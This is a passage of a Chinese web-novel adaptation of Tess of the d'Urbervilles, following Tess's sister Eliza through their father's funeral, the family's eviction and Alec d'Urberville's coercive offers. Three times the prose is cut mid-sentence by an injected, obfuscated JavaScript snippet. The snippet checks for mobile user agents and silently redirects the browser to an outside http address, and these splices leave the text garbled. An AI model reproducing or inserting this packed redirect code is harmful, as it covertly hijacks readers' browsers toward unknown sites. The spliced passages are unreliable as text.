伊莱莎从椅子上跳下，把苔丝从地上拉起来，忍不住抱怨：“妈妈，你进来的时候动静太大了，把我跟苔丝闹醒就算了，玛丽安还在楼上睡觉呢。” 琼恩气呼呼地翻了个白眼，压低声音道：“好了好了，我知道了。伊莱莎，你比苔丝还能念叨呢。” 不知道是谁惹琼恩生气了。 是教堂的科林牧师吗，还是地主奥哈特家的人？ 伊莱莎殷勤地扯出一把椅子，让琼恩坐下，又借着烛火给她到了一杯冷掉的茶，装乖道：“妈妈，怎么了，谁惹你生气了吗？租金谈下来了吗？” 琼恩把茶水一口气喝光，杯子重重地放到木桌上，下命令道：“我们不租这屋子了，圣母节就搬走，谁稀罕住这马洛特村，真以为是什么宝地？我们搬到青山下的金斯贝尔去！” 看来是谈崩了…… 搬家就搬家吧，农民的日子越来越不好过，他们一家搬到市镇去，找活儿干也更方便。 不过后天就是圣母节了，明天他们忙完下葬就要收拾东西，搬家真的来得及吗？ 伊莱莎担心地问：“不能宽限几天吗，我们后天就搬走的话，时间有些太紧了。” “来得及！”琼恩摆摆手，“很快就能收拾好，要是多住几天，别人还以为我们多舍不得这儿呢！到时候更要嫌我们带坏风气了……” 琼恩一口气宣泄出来，突然意识到最后一句话不应该说——尤其不应该当着大女儿的面说。 她只好开始生硬地骂人，反而显得那句“带坏风气”更突兀了。 苔丝垂下眼帘，掩盖住眼中的泪光。 前几天她干完活儿从田里回来，趁着夜色去了墓园，在那个风灯都照不到的角落里，她带着小铲刀整理了一下小索罗破旧的坟茔，刚好被人撞见——要是没有她，大家就还能住在村子里，妈妈也不用跟人吵架。 “还好我提前给金斯贝尔的客栈写信了，”琼恩骂够了人，自鸣得意地念叨，“那里有个寄宿屋，因为不带家具，价格特别划算，大小够我们一家子住了。而且那里离德伯菲尔德家的祖坟也很近，听说你们德伯菲尔德家的家族墓地那里还专门修了个教堂呢！” “你爹之前一直想把姓改回德伯维尔，我跟石匠商量了，墓碑上面也要刻这个姓氏。正好，我们圣母节搬走的话，就不用给石匠立碑的钱了，到时候科林牧师会给的。” 伊莱莎被琼恩打得响亮的算盘震憾了一下。 或许该夸她妈一句持家有道？ 她还以为像琼恩这样迷信的人，在宗教消费上是绝不会干出逃债这种事儿的。 “慈悲的主啊，我们聚集在此，纪念约翰·德伯菲尔德的生命。求祢以平安充满我们的心，赐我们力量面对离别，并确信祢的应许……” “复活在我，生命也在我；信我的人，虽然死了，也必复活①。”教堂墓园里，科林牧师站在十字架下，庄严地念祷经文。 伊莱莎面上一副悲伤的沉思状，内心却忍不住想，约翰去罗利弗酒店比去教堂勤快多了，为人既不勤劳，也不节制，实在算不上是一个可以得救的虔信教徒。 复活这种事就免了吧。 “神要擦去他们一切的眼泪，不再有死亡、悲哀、哭号、疼痛②。” 伊莱莎跟着大家念了一声“阿门”，在胸前划了一个十字。 眼角的余光里，苔丝似乎在看她。 从昨晚到现在葬礼结束，苔丝显得格外地沉默，或许她是在为约翰的死而悲伤。 但约翰·德伯菲尔德恰好死在万物勃发的五月，伊莱莎连触景生情都憋不出一点触动来。 她对约翰既没有对父亲的孺慕，也没有对他不称职的怨愤。对伊莱莎来说，这个生身父亲就像是电影里的角色，他们两个人之间隔着的岂止是时间的差距，完全是隔着两个世界。 伊莱莎本想看看那块将要被琼恩逃款的墓碑上面刻了什么，但是作为死者的次女，她站在参加葬礼的人群的前排，一举一动都很显眼，只好一直埋头祷告。 葬礼结束了，人群慢慢散去，跟琼恩相熟的妇女围了过来，同她一起聊天。 故意落后了几步，伊莱莎终于看清楚墓碑上刻的字：约翰·德伯菲尔德之墓（本姓德伯维尔）。 她用力地抿了下嘴唇，才没做出撇嘴的表情。 约翰的名字后面列了一堆她读不明白的头衔术语，大概是某国王册封的某骑士、嫡系后裔之类的东西，占了四五行。 最后是撒母耳记上的一句话—— 大英雄何竟死亡。 她这个老爹…… 嘲讽死人是不是有点不太厚道？ 伊莱莎实在无法可想，也没话可说。 英雄和贵族骑士的妻子与孩子们把衣物整理好，放在堆在一起的家具上，厨房晾晒的草药和锅碗厨具被巧妙地摆放在箱笼里。 琼恩和亚伯拉罕去跟村里相熟的人告别，霍珀和莫德斯蒂带着两个弟弟在楼上休息，他们明天搬家得早起，伊莱莎和苔丝就打发小孩子们去睡觉了。 窗外下起了细雨，苔丝跪在窗下的长凳上，看雨水在玻璃上流动。 伊莱莎贴在她的肩膀上，顺着她的目光望去，原来她看的不是雨水的流向，而是窗框下的蜘蛛网。 “苔丝，”伊莱莎搂着姐姐的胳膊，声音比密集的雨点更轻，“在井桥的时候，我听说在川特里奇要开一所学校，现在还招不到厨师。我看妈妈可以去试试，年薪有十五镑呢。” “亚伯拉罕也可以去学一门手艺了，进工厂的话太累了，不知道亚伯拉罕有没有妈妈的厨艺天分，不然他可以来烘焙坊试试。缺人缺得厉害，拉德克里夫先生一直想招人呢，他的力气挺大的，不过干这活儿还是细心更重要……亚伯拉罕在学校成绩是不是还不错，我记得老师还奖励了他一本狄更斯的书，他也可以去试试当印刷工和排版工人……” 伊莱莎用食指勾着苔丝鬓边松散的碎发，在她耳边嘀嘀咕咕，像春雨一样连绵不断地说着家常。 苔丝知道妹妹的意思是想安慰她。 即使因着她未婚生下私生子的缘故，家里不能再在村子里住了，但是生活没有因为父亲的去世而走到绝境，他们都能好好地活下去。 伊莱莎越是这样体贴， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15165186|165096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她就越容易想起守灵夜的那个梦，梦里的莉兹隔着这扇窗户与她对望，最后跌入深渊。 这实在是一个不祥的征兆。 她想起自己结婚那天早上，公鸡站在门上鸣叫；想起德伯菲尔德关于四轮马车的灰暗诅咒；甚至想起更久远的以前，她第一次去川特里奇见到亚历克·德伯维尔的时候，玫瑰的刺把她的手指扎破了。 还有现在的这场雨，是不是也在预示着什么不好的事将要发生？ 好在到第二天搬家的时候，雨已经停了。 天气是疏朗的晴天，这让苔丝的心情稍微好了些，除去坏天气背后的厄运暗示，下雨天还直接关联着泥泞湿滑的路和雨水把全身打湿这样可怕的体验。 伊莱莎跟苔丝一起把椅垫和桌布做成了一个小窝，让琼恩带着几个弟妹们坐上去，苔丝被指挥爬到餐柜上，把那座珍贵的座钟取下来，琼恩要亲自抱着。 所有的家具都被绳子捆在了车架上，伊莱莎带着亚伯拉罕围着车巡逻了一圈，确认所有的东西都被牢牢地固定好了。 “苔丝，”伊莱莎坐在车辕上，对走在一边的苔丝说道，“昨天来找你的人是谁啊？” 昨天下午伊莱莎去厨房收拾调料罐、晾晒的香料草药还有杯碟的时候，听到有人跟苔丝在说话。 她以为是苔丝在村子里的朋友，但苔丝后来很用力地把窗户带上了，脸色也不好看，伊莱莎似乎还听到她骂了一句，显然不是她猜的那样。 苔丝笑了笑，道：“等我们到了金斯贝尔我再告诉你。” 拉着车架的是一匹老马，走得费力又缓慢，伊莱莎干脆从车辕上跳下来，跟苔丝一起走路。 “今天晚饭吃什么？妈妈说我们可以用旅店的厨房，希望他们的炉子不要太古老。”伊莱莎兴致勃勃地畅想，“等会儿我要试试烤一个球面包，法国乡村的那种面包，里面的孔洞像弹球那么大。如果烤得很成功的话，表皮会有点焦，但是口感特别焦脆，而且最好吃的是里面的囊心，又软又滑，像蛋奶冻一样！” “这种面包最好用酸面团当酵头，不过我还知道另一个配方，就是想要烤成功太考验运气了，不知道我今天手感怎么样呢，希望上帝保佑我能烤出一个完美的球面包！” “配菜就用黄油煎芦笋，我看到调料瓶里面还剩了一点葛缕子和小茴香，正好可以拿来配胡萝卜泥。”伊莱莎双手合十交叉，放到胸前，祈祷道，“希望我们能有一个好炉子。” 灰暗的一天从这个愿望落空开始。 金斯贝尔是一个破败的小镇，躺在一座山的山脚之下。 一个男人站在路口，见到他们的车架便走了上来，遗憾地告知他们，因为琼恩的信来得太晚，他们收到时已经是今天早上了，现在没有空的房间留给他们。 “不过我相信，你们总可以在别的地方找到房子的。” “唉……”车夫和那匹老马同时发出不堪负担的抱怨，琼恩实在无法，只好让车把式把家具卸到墓园的墙壁下。 这些本应在室内的东西狼狈地暴露在露天之下，跟它的小主人们一起用惊异而惶恐的目光打量着四周。 好在今天的天气很好，半点下雨的影子也没有，晴朗的五月在野外过夜也不失为一种对自然的亲密体验。 马车夫赶着马踏上了回程，不用跟这样一家人打交道让他很高兴——德伯菲尔德一家倒不是什么惹人厌的坏人，甚至都拥有着一副让人一见就心生好感的容貌。 只是看着这样柔弱的羔羊在命运的旷野里徘徊，很难不让人对未来升起一种悲观的情绪。 琼恩让苔丝和伊莱莎留在墓园照看家具和孩子们，而二女儿深知她妈妈在靠不住的方面是永远靠得住的，于是便跟她一同去镇上问有没有空屋子可以租住。 伊莱莎打听到了一个谷仓，可以放下他们那些家具，要是对居住状况十分容忍的话，也不失为一个过夜的好地方。 她跟琼恩一起回到墓园，苔丝却不见了踪影。 莫德斯蒂说：“有个男人来找苔丝了。” 琼恩以为是苔丝的丈夫，伊莱莎的心却蓦地一沉。 霍珀年纪更大一些，记得的事也更多，她跟亚伯拉罕对视一眼，齐声说：“是他。” ——是亚历克·德伯维尔。 伊莱莎埋头在家具里翻找一通，找出那根拨火棍，以一种御前骑士德伯维尔家的嫡传后裔的姿态向孩子们指明的方向走去。 琼恩慌忙地跟了上去。 17.chapter17 四月是最残忍的季节 四月草木青青，废弃许久的教堂立在这一片长满灌木的荒地上，倒塌的石柱和石幔倾斜出奇怪的角度，二者相互依偎支撑着彼此。 这些变了形的石头建筑高低错落地摊在地上，像是异教徒祭祀的法阵。 伊莱莎在残破的立柱之间穿梭，然后在一块芝麻灰色的大理石旁驻足。 上面用花体拉丁文刻了一行字：古德伯维尔家族陵寝之门①。 她没有学过拉丁文，不知道上面写的是什么内容，只好猜测这是什么家族标语之类的东西，这行文字显然吸引了苔丝。 石头旁堆了几个脱落的青铜装饰，就在石头的正前方，留下了一双靴子的脚印，苔丝看起来在这里驻足了一会儿。 伊莱莎继续往前走，穿过一扇石门，走到了古老家族的墓园。 她看到苔丝了，还有亚历克·德伯维尔。 两个人搁着半个手臂的距离，苔丝双手绞扭着，看上去有些痛苦，亚历克一只脚踩在地上，另一只脚踩在德伯菲尔德不知道哪个先祖的墓床上，脸上带着那种传教似的狂热神情，在滔滔不绝地说着什么。 伊莱莎掂量了一下手里的拨火棍，精铁的棍子沉重又有力地压在她的手心。她调整了一个方便发力的角度，脚步一迈，正打算冲过去。 琼恩拉住了她，低声道，“别冲动，听听他要说什么，说完了他就会走的。” 女儿忍耐地看了母亲一眼，靠着看不清墓志的石碑，驻足偷听。 德伯维尔拿出那种在谷仓演讲的气势，开口道：“苔丝，你何必拒绝我的帮助呢？要知道我是真的想要帮你们，只要你一声令下，我就可以把川特里奇最好的房子送到你母亲名下。就算你自己不需要，难道你的弟弟妹妹们也不需要吗？我看这些瑟瑟发抖的可怜小生灵们，实在很需要仰仗人世的好心呢！” “谢谢你的好意——如果这是发自真心的话，你还是留给那些受苦的人吧，他们更需要这些。”苔丝语气坚定地回绝了他。 “我的妹妹在烘焙坊工作，我的弟弟也可以去当学徒，我能找到工作，我们一家还没有绝望到需要你的帮助。就算需要求助，我的丈夫……他的父亲，你知道他可以帮我们……” 德伯维尔嗤笑了一声，“苔丝，我可比你那个抛弃你的丈夫了解你多了，你——你这种女人，是绝对不会去找你丈夫家的人的，你的自尊比你们家的族谱还要厚呢！你的丈夫没有给你留一点儿钱花吗？” “这不关你的事！”苔丝生气地喊，“我们有钱花，我妹妹有薪水！” 亚历克·德伯维尔脸上浮现了一个恶毒的微笑，“是吗——你妹妹，你可有三个妹妹呢。你想怎么样，让你妹妹一个人像你们家从前那匹老马一样吗，累得半死来养活全家？” “你弟弟可以去当学徒，去城里的工厂吸烟囱排出来的有毒的烟雾，睡在爬满臭虫的床上，睡不到六个小时就要爬起来工作，一天上工十二小时，像陀螺一样不停地工作，连礼拜日都不能休息。” “这就是你说的不需要？”德伯维尔得意地摸了摸下巴，“等孩子们长大就好了——当然咯，你的两个小妹妹长大了可以去当女仆，你这么漂亮，她们肯定长得也不差。 “她们可以去很好的人家里做女佣，然后呢？被男主人欺负冒犯，不敢声张，怀孕偷偷生下私生子，被赶出去。最多再得一点被打发走的钱——比你现在能从我这儿拿到的零头都不如。” 伊莱莎紧紧咬着后槽牙，瞥了一眼琼恩，她正出神地看着二人的身影，手却用力地拽着伊莱莎的胳膊。 德伯维尔一拍脑门，“对了，你还有另一个救世主，你丈夫。听说他去了巴西，是吗？” 他的这个疑问句，比起询问，更像是嘲讽。 “他要是还有回心转意的余地，怎么会忍心把你一个人丢在这里呢？苔丝，你好好想想，你觉得他真的还会再回来吗，一个新婚第二天就丢下妻子出国的人，我看他早就决定好抛下你了，你有收到过他的回信吗，他的父母知道你的处境吗？” 他伸手在口袋里掏出一张叠好的报纸，递给苔丝，“啊呀，可怜的姑娘，当然还有一个好的猜想，你瞧瞧，巴西的移民村里爆发了什么可怕的疫病，说不定你那丈夫已经蒙受天/主的召唤，去往永世的极乐了呢。那你可就要好好想想，你自己最后的退路，你丈夫的家人到底认不认这么一家亲戚？” 苔丝双手颤抖着扯开报纸，德伯维尔转到她身侧，好心地伸手指点她，“看吧，我干嘛要骗你呢？苔丝，你那丈夫要是对你有一丁点上心，就不会让你流落到现在这个境地。他许给你流着奶和蜜的地方，我只能给你看不上的黄瓜、西瓜、韭菜②，可这些黄瓜能让你们今晚不用再露宿荒郊野外。 “只要你点头，我就能喊一架马车过来，把你们带去这里的一个别墅，在哪儿你们至少不用担心下雨或者遇到了野兽怎么办。” 苔丝没有理会他，只是全神贯注地看报纸上那一小段文字。 当局对这些移民的处境并不关心，民众也对远在万里外的异国闹疫情的事儿不感兴趣，报纸只吝啬地在版面上给了一小块儿地方。 “移民们抱怨巴西的日子远不如招募广告宣传得那么好……住在肮脏狭小的种植园宿舍里，甚至被安排在废奴运动时空出来的奴隶营房里……此外，移民生活缺少基本的医疗保障……由于医疗成本高昂，移民托马斯·迪安三岁的儿子的肠道疾病得不到医治……③” 苔丝的脸色比四月的苹果花还要惨白，她想她的丈夫总不会沦落到这样可悲的境地，但是却没办法像拒绝德伯维尔一样斩钉截铁地告诉自己，安吉尔·克莱尔一定会回来的。 德伯维尔噙着撒旦的微笑，好心提议：“我有幸听过詹姆士·克莱尔先生的布道，要不是再次遇到了你，他在我精神里唤起的那种宗教热情现在还鼓噪着我呢！怎么样，苔丝，需要我去爱明斯脱帮你打听打听你丈夫的消息吗？我瞧你这个名正言顺的儿媳恐怕还找不着门呢。” 他见苔丝的脸涨得通红，气得一个字也说不出来，便收起脸上嘲讽的神情，摆出一副做作的好心人的模样，语气柔和地说：“好姑娘，你母亲呢？我得去拜访拜访她，跟她好好聊聊聊，我们打算办一个正规的大型家禽养殖场，你母亲会照顾得很好。或者她想当一个寄宿屋的老板？你的弟弟妹妹也可以继续上学，去读需要推荐的私立学校，我会安排好的。” 亚历克·德伯维尔举目四望，似乎是在看琼恩回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15178024|165096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来没有。 伊莱莎感觉自己全身的肌肉都泄力放松了，她直望着苔丝，轻声说道：“妈妈，我一直很瞧不起你那些古老的迷信想法……但是你看，人间竟然出现了这样一个恶魔，他站在德伯维尔家的墓地，比牧师站在布道坛上还要神气呢！” 她握着拨火棍的手臂轻轻垂下，像当初的披肩从她肩上滑落一样。 伊莱莎转头看着琼恩的眼睛，问她：“妈妈，你想要那个川特里奇最好的房子吗？” 琼恩的手臂放在她的肩膀上，不停地发抖：“我、我……不知道。” 女儿的声音很轻，淹没在被风摇动的草叶声里：“你为什么发抖？” 母亲依旧是那个回答：“我不知道——伊莱莎，你也在发抖……我想我是在害怕。” 害怕什么？ 魔鬼竟然也会说真话。 琼恩深呼吸几次，感觉到她们俩——至少她是非得走过去不可了，便板着脸，绕过这根倾斜的石柱。 “先生，”她冷声道，“我想你是清楚的，我们这儿不欢迎你。” 亚历克·德伯维尔摘下帽子向琼恩鞠了个躬，对苔丝说：“亲爱的苔丝，你知道，只要你捎一句话，我随时都可以过来，你要立字据也可以。” 他扣上帽子，看了一眼那块墓园门口的大理石，冷笑道：“现在这个冒牌的德伯维尔哪怕只伸出一个手指头，能办到的事比整个地下的高贵世家还要多。” 伊莱莎沉默地走过来，手里的铁棍跟地上的石头碰撞，发出丁零当啷的响声。 母女三人看着德伯维尔消失在教堂后面，伊莱莎突然说：“好吧，不管是谁——苔丝还是妈妈，只要你们一声令下，我就可以去打断他的手指头。” 苔丝脱力地坐在一块石头上，也不顾这是他们哪位显赫祖先的墓床。 她疲倦地说：“好了，莉兹，别这样。” 伊莱莎蹲下来，单腿屈膝跪在她的脚边，“那你想怎么样呢？” 那张报纸被苔丝抓在手里，因为攥得太紧而被揉破了，苔丝把它展开，折好，黑色的油墨沾到了她的掌心上。 “安吉尔不会回来了。”苔丝把脸埋进掌心，“我的丈夫是不会回来了。也许他死在了巴西，也许他在那里有了新的妻子……” 伊莱莎终于忍不住爆发：“够了！够了……安吉尔、安吉尔，为什一直都是他！除了安吉尔·克莱尔，你就不能想想我们吗？我们还在你的身边！” 之后是尴尬的沉默，旷野之上，只有风声在回荡，这个露天剧场刚上演到高/潮的一幕，就不上不下地卡住了，似乎所有演员都忘了词，在演出事故里只能可怜地望着彼此。 琼恩看看大女儿，又看看二女儿，她想说些什么，又不知道说什么。 伊莱莎很快就后悔了，她为什么非要说这种话呢，除了再扎苔丝一刀，又能起到什么作用？ 她把手搭到苔丝的膝盖上，轻声道：“对不起，苔丝，我不是说、我……” 苔丝把捂住脸的手放下，她两眼通红，但并没有哭，报纸的油墨在她的脸上留下了不祥的黑色印迹，“是啊，莉兹，你说得多……你们还在我身边，我应该多、多考虑你们……我得为你们着想……” 18.chapter18 爱的徒劳 如果你想在十九世纪的尾巴再见识一次奴隶买卖的话，你就应该来这里看看。 伊莱莎神色冷淡地看着这幢乔治亚风格的乡村别墅。 屋子精美而匀称，在视觉上给人一种克制的结构上的美感。整体由青灰色的花岗石砌成，在窗户税还未被废除的年代，主屋和侧翼都阔绰地装上了对称的窗户。门廊相当小巧精致，立柱上的雕花规整地排列着，深褐色的桃花心木门重新上了清漆，泛着内敛的光。侧翼的三角墙上镶嵌有圆形的楣饰，像教堂的花窗。 假如德伯菲尔德一家的孩子们机灵一些，又交了一点好运的话，凭他们整洁的样貌，倒是可以到这样的房子里去当仆人。 琼恩帮女儿提着那个古老的小皮箱，当初伊莱莎提着这个箱子从井桥离开时，还没料到命运竟然正如她所知道的那样无情。 她以为自己坐在马车上，可以把握命运的缰绳，却不察这实际上是已经失控的列车，不管她怎样操作装置也没办法让它停下，只能眼睁睁看着它撞得粉身碎骨。 当然，还有一个行之更有效的办法——跳下列车。 停止这一切如同西西弗斯的徒劳举动，抛下所有的烂摊子，过好她自己的生活就好了。 德伯菲尔德一家都可以安心领取苔丝的尸/体做圣餐，成为伊莱莎也不是她能决定的事，她为什么非要把自己搭进去？ 等着车夫赶马车过来的间隙里，伊莱莎不停地诘问自己。琼恩既盼望着车夫快点来，好让她能从跟伊莱莎独处的折磨里解脱出来，又盼望着这辆马车永远别来，不然……她预感真的会失去这个女儿。 “伊莱莎，”琼恩突然说，“我真不知道你为什么这么急着要走。” 伊莱莎纠正她：“不是走，是回去，回到井桥去。” 肆无忌惮的生气是母亲的特权，而琼恩显然把它发挥到了极致：“好哇，你走了就别回来了。你高洁到不愿意住这个屋子，你也不用花别人的钱，你可以养活你自己——你的灵魂比圣阿格尼丝还要高贵呢，你当然应该指责我、我们！” “妈妈，我不止可以养活我自己，”伊莱莎心平气和地说，“还可以养活我们一家的。” 长期这么负担有些困难，但是短期内还能接受。 等安吉尔?克莱尔回来后，她就能腾出手脚去伦敦看看了。常蒂小姐订阅的园艺报纸专栏作家一年收入就有200英镑，她虽然不能保证自己能发财，但大都会的机遇显然比猎苑堡多得多。 让伊莱莎做工来养活全家？ 她怎么养得起—— 琼恩不假思索地说：“那你还不如走呢。” 除去少部分的对女儿的心疼，琼恩潜意识里更多的是不相信。 即使那张十镑的钞票就在眼前，她还是对伊莱莎能养活全家这样的事抱有深深的不信任，在这样一个女人只能拿到男人三分之一工资，只能做一些家政工作和低级杂工的时代，比起让伊莱莎靠劳动累死累活养活一家子人，她不如祈祷二女儿也能撞大运嫁给有钱人。 “我在井桥给你写的最后一封信，你还记得吗？我听说川特里奇将要开一所教会资助的慈善学校，那里还缺了一个厨师，你不愿意去吗——只要你想去，我可以跟校长说的，不用害怕会落选。” 伊莱莎是真的很好奇，琼恩为什么不想去，“是觉得报酬太低吗，还是担心家里没人照顾霍珀他们？” 琼恩的脸色闪过厌恶和恐惧交织的神色，她低声斥骂：“你说什么胡话呢，那可是济贫院的孩子，我怎么能……” 济贫院——如果不是一无所有到只想去济贫院讨要一顿对人格的羞辱，没有人愿意沾染上这个令人憎恨的机构。 这恰好是它的管理者希求达到的目的。 在他们看来，为了避免人们沾染上领取救济金过活的懒散陋习，赏赐这些被命运压迫到走投无路的人一顿践踏是很有必要的。 不管是沦落到济贫院的人，还是在济贫院工作的人，琼恩都不想跟他们接触，更不用说共事了，她的为人实在算不上时下倡导价值观的光辉典范，但也自认自己是个正派人，去济贫院的学校工作……这叫什么话！ 尽管济贫法不停地通过新的修正方案，报纸上也在鼓动社会对济贫院的恶劣环境进行改造和监督——并且认为改进卓有成效，对济贫院的厌恶还是根深蒂固地停留在这个女人的脑海里。 伊莱莎顿了顿，琼恩也没说话。 过了一会儿，琼恩突然问伊莱莎：“你还记得那匹马吗，我们最初的那匹，叫王子的，就是因为它死了，你姐姐才不得不去德伯维尔家的。” 王子？ 她隐约记得书上有这么一回事儿，但是却记不真切了。 琼恩并不要她的回答，自顾自地说：“当时你姐姐赶着王子驾车去沙斯顿送给蜂农送蜂箱，王子被邮车的车把手捅死了。她觉得都是她的错，吓得要命，孩子们都哭了，她本来不想去的，但最后还是不得不去川特里奇，到德伯维尔家讨工作。” 王子已经很老了，就算没有苔丝，它也迟早会死的，哪里会没了它就活不下去呢？ “因为她太懂事，又太害怕了……”伊莱莎嗓子干涩。 恐惧，近乎于死亡，它跟爱的力量一样强大。 苔丝不是，或者说不只是因为没有跟安吉尔?克莱尔再聚的希望才委身德伯维尔的，她害怕德伯维尔恐吓她的可怕前景，甚至她知道那是很有可能发生的。 没有人教过她怎么保护自己，受到伤害应该怎么回击怎么反抗。 她被羞辱和践踏了，社会上的一切都在指责是她，就连最温和的批评也是骂她是个傻瓜，不知道藉此捞一笔赔偿。 比起琼恩，她更像这一家弱小生灵的保护人，一群孩子里挑起重担的家长。 苔丝不能让他们落入那样可怕的境地，倘若安吉尔在身边还好些，可他离开了，甚至不会再回来了，除了德伯维尔，她还有什么选择呢？ 难道那些流落到济贫院的人真的都是好逸恶劳的堕落份子吗？ “妈妈，”伊莱莎深吸一口气，努力压住身体不受控制的颤抖，“等克莱尔回来了的话，你觉得苔丝会怎么样？” 会怎么样？ 琼恩拒绝去猜想这个问题背后的绝望未来，如同特洛伊人无视卡珊德拉的预言一样，自我安慰道：“他回来……他，他怎么，怎么会回来呢？他不会回来的，他不会从巴西回来的。” “行了，你别侥幸了！妈妈，你没有意识到每次现实都会跟你的期望背道而驰吗？你怎么不祈祷苔丝会爱上亚历克?德伯维尔呢？”伊莱莎厉声说，“克莱尔肯定会回来的，如果你觉得他不会回来的话，那你就去这样想好了。依我看，等他回来了，这里说不定还会发生什么不幸的事呢——” 像是法庭的定音锤落下，伊莱莎这句话说完之后，琼恩没有再出声。 她们俩忍受了一会儿这令人折磨的安静，琼恩问她：“你在暗示些什么？” 苔丝的丈夫回来了，她会离开德伯维尔，而愤怒的亚历克?德伯维尔会收回一切对他们的帮助，不择手段地报复他们，让他们流落街头？ “要是苔丝把德伯维尔杀了……”伊莱莎的声音很低，但琼恩听得清清楚楚。 她打了个寒颤，摇头：“苔丝不会这样冲动的，她这样做跟送自己上绞刑架有什么区别，这个傻瓜，她不是还想跟克莱尔在一起吗？” “你觉得她还能接受自己跟克莱尔在一起？你难道还不明白她就是这样一个傻瓜吗，她要是聪明些，当初就不应该听你的话去川特里奇找德伯维尔！” 指责过去并不能改变现实，伊莱莎很快压抑住火气，认真地说：“这是一种强烈的预感，我预感很不好的事情将要发生。爸爸去世之前我也有这种感觉，却并没有把它放在心上认真对待，要是当时我亲自拉着爸爸去沙斯顿看看医生，说不定他还不会就这样死了……” 要是她更努力些，能赚到更多的钱，这一切是不是都会不一样？ “你父亲，他的死也是意外，”琼恩想起约翰看到伊莱莎的威胁后怒火冲天地撕掉信，叹息一声，“伊莱莎，这不是你的错。” 也不是苔丝的错，难道这是她的错？ 琼恩更不愿把错归结到自己头上。 她思来想去，只好说：“都怪德伯维尔，他就像魔鬼一样可恶，要是他真的死了，那也是功劳一件。” “反正……不管怎么说，他都应该为索罗的死在上帝面前忏悔。” 迷信的念头又充盈了她的脑海，既然伊莱莎预感到德伯维尔可能会死，那全知的主给他的安排就是让他去死。 当初他欺辱了苔丝，把她赶回来，又对苔丝生下的孩子不管不顾，现在她们收下的只是他的赔偿。 至于苔丝杀了他，那是因为他让人家夫妻分离，在她那个年代，德伯维尔被刺死了也是活该。 但是现在，苔丝会被治安法庭判绞刑的。 她对上伊莱莎比青灰色的花岗岩还要冷硬的眼睛，像从前看讲道的人展示神迹一样，很小声地问她：“你打算怎么办？” “妈妈，我要你帮我。” 琼恩帮着伊莱莎把行李箱放到马车车架上，又塞给她一个纸包，让她饿了在路上吃。朴素的母爱让她对伊莱莎产生的那点怨气很快就烟消云散了，她像是送女儿去寄宿学校一般，关切地问：“你要在井桥待多久，等到苔丝的丈夫回来吗？” 现在四月上旬快要过完了，最多不过一个月，安吉尔就要从巴西回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15197325|165096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来。 她如果想帮助苔丝脱罪——这是最坏的结果，那在井桥待上十天就可以回来做准备了。 她跟琼恩约定了时间：“最多十天，我就会回来，在这之前你不要招佣人。” 伊莱莎坐在二轮马车上，拆开了琼恩给她装的纸包，里面是一个塞满烤蔬菜的馅饼，还有几块蜜糖杏干。 茄子削了皮，蒸熟了之后再刷上橄榄油，串进铁签子烤，撒了大蒜海盐。除此之外还有切成小块的西葫芦，烤得恰好保留了一定的湿润度，吃起来有种水润的清甜，配上新鲜番茄的汁水、微甜的红椒、切成细丝的罗勒叶，整个馅饼在咸香口感中又带着清新的香气。 她咬了一大口汁水充盈的馅饼，可口的食物和地理上远离了川特里奇让她的心情好了不少。 回到井桥的时候差不多是下午三点，太阳斜斜地照着红砖墙上的飘香藤，热闹的桃粉色花朵在小院里安静地绽放。 拉德克里夫先生去了猎苑堡，还没回来。 伊莱莎径直上了三楼，惊喜地发现帕夫太太竟然还在这儿：“帕夫太太！” 她以一种不符合奔丧归来的快乐神情向室友打了招呼，“我以为你已经去了伦敦了呢！” 帕夫太太帮她把床铺上的防尘罩收下来，放进箱子里，告诉了伊莱莎她的安排。 拉德克里夫先生的儿子现在正在伦敦托特纳姆法院路的一家管道公司当工程师，她去了伦敦可以找这个年轻人帮助。 在住处上，她已经在海德公园附近的波特曼街找到了一家价格合适的旅店。 她打算先去女儿的疗养院问问情况，再去维多利亚街上女婿的雇主那里找人，如果实在没有消息，她只能去女儿女婿从前住的竖琴胡同找邻居和教区管理人员打听了。 “不过，我没有收到爱德华的回信，他很有可能换了个雇主，也不住竖琴胡同了。” 伊莱莎觉得这个安排算得上周全，只是在这个换个地方再换个姓名就能直接换个身份的年代，如果对方故意隐藏起来，要找到他还是很有难度的。 她提议道：“要不试一下在报纸上面登寻人启事？” 常蒂小姐订阅的那些报纸里，除去园艺和卫生之类专业的报纸，家政和时事报纸都分了不少版面给广告和寻人启事。 帕夫太太之前没想到这回事儿，主要是登报打广告得花钱，而她的钱必须省着点儿花。现在经济上宽裕了许多，伊莱莎这个建议倒是提醒了她。 